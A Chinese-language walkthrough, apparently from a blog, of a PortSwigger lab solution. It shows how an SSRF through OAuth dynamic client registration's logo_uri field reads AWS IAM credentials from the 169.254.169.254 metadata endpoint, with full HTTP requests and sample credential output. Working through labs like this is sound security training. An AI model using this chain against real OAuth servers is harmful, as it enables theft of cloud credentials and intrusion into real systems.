PortSwigger Web Security Academy 实验。这道题跳出了”偷 token”的常规思路,攻击的是 OAuth provider 本身——通过滥用动态客户端注册,触发 SSRF,从而拿到 OAuth server 所在云环境的 IAM 凭证。

之前几道题攻击的都是 OAuth client(博客网站),想方设法偷 access token。这道题反过来,攻击 OAuth provider 本身。

利用链:

1
2
3
4
5
匿名注册一个恶意 client
└── logo_uri 指向内网元数据 URL
└── 浏览 /client/CLIENT-ID/logo 触发 server 端去拉 logo
└── server 实际拉的是 AWS metadata 接口
└── 返回 IAM 凭证

三个漏洞缺一不可:

  1. 动态客户端注册端点对外开放且不需要鉴权(/reg)
  2. logo_uri 字段未校验,可以指向任意内网地址
  3. OAuth server 部署在 AWS 上,且 metadata 服务可访问(IMDSv1)

1. 找到注册端点

OAuth/OIDC 标准提供了一个发现接口,所有元信息都在这:

1
GET /.well-known/openid-configuration

里面会列出所有 endpoint。注意 registration_endpoint 字段:

json

1
2
3
4
5
{
...
"registration_endpoint": "https://oauth-server/reg",
...
}

/reg 就是动态客户端注册接口——按 RFC 7591 标准,这个接口允许任何人在不鉴权的情况下注册新的 OAuth client。设计本意是给 IoT 设备、CLI 工具用的,但很多实现忘了限制访问。

完整跑一遍正常 OAuth 流程,授权确认页(用户点”同意”那个页面)会显示 client 的 logo。Burp 里能看到 logo 是从这里拉的:

1
GET /client/{CLIENT-ID}/logo

这个 URL 是 OAuth server 内部使用的——**它会去拉注册时填的 logo_uri**。这就是 SSRF 的入口。

3. 匿名注册一个 client,用 Collaborator 验证 SSRF

先用 Burp Collaborator 验证 server 是不是真的会去访问 logo_uri:

http

1
2
3
4
5
6
7
8
POST /reg HTTP/1.1
Host: oauth-server
Content-Type: application/json

{
"redirect_uris": ["https://example.com"],
"logo_uri": "https://BURP-COLLABORATOR-SUBDOMAIN"
}

注册成功,响应里会返回新 client 的 client_id

然后访问:

1
GET /client/{NEW-CLIENT-ID}/logo

Collaborator 上立刻收到一条 HTTP interaction——确认 OAuth server 在拉 logo_uri 时,是从自己的服务器后端发起的,而不是浏览器侧。这就是经典 SSRF。

4. 把 logo_uri 改成 AWS 元数据接口

AWS EC2 实例有一个特殊的内部地址:

1
http://169.254.169.254/latest/meta-data/

这个地址只能从实例内部访问,但可以拿到该实例所有的元数据,包括 IAM 角色绑定的临时凭证:

1
http://169.254.169.254/latest/meta-data/iam/security-credentials/{ROLE-NAME}/

PortSwigger lab 里角色叫 admin,所以最终 URL 是:

1
http://169.254.169.254/latest/meta-data/iam/security-credentials/admin

注册新 client:

http

1
2
3
4
5
6
7
8
POST /reg HTTP/1.1
Host: oauth-server
Content-Type: application/json

{
"redirect_uris": ["https://blog/oauth-callback"],
"logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"
}

响应里拿到新 client_id(我这次的是 a0dmKUrzyyVaKVe-EMdTQ)。

5. 触发 SSRF

访问:

1
GET /client/a0dmKUrzyyVaKVe-EMdTQ/logo

响应直接是 AWS 凭证 JSON:

json

1
2
3
4
5
6
7
8
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "OurYG8YWWORX7zJZtcz0",
"SecretAccessKey": "wTODnagg797iKlpuaVGuccTzGz2CQhqoCq3dN8MK",
"Token": "qDRhklPU...",
"Expiration": "2032-05-22T12:25:48Z"
}

OAuth server 把 AWS metadata 接口的响应当成 logo 图片直接吐回给我了。

提交 SecretAccessKey 完成实验。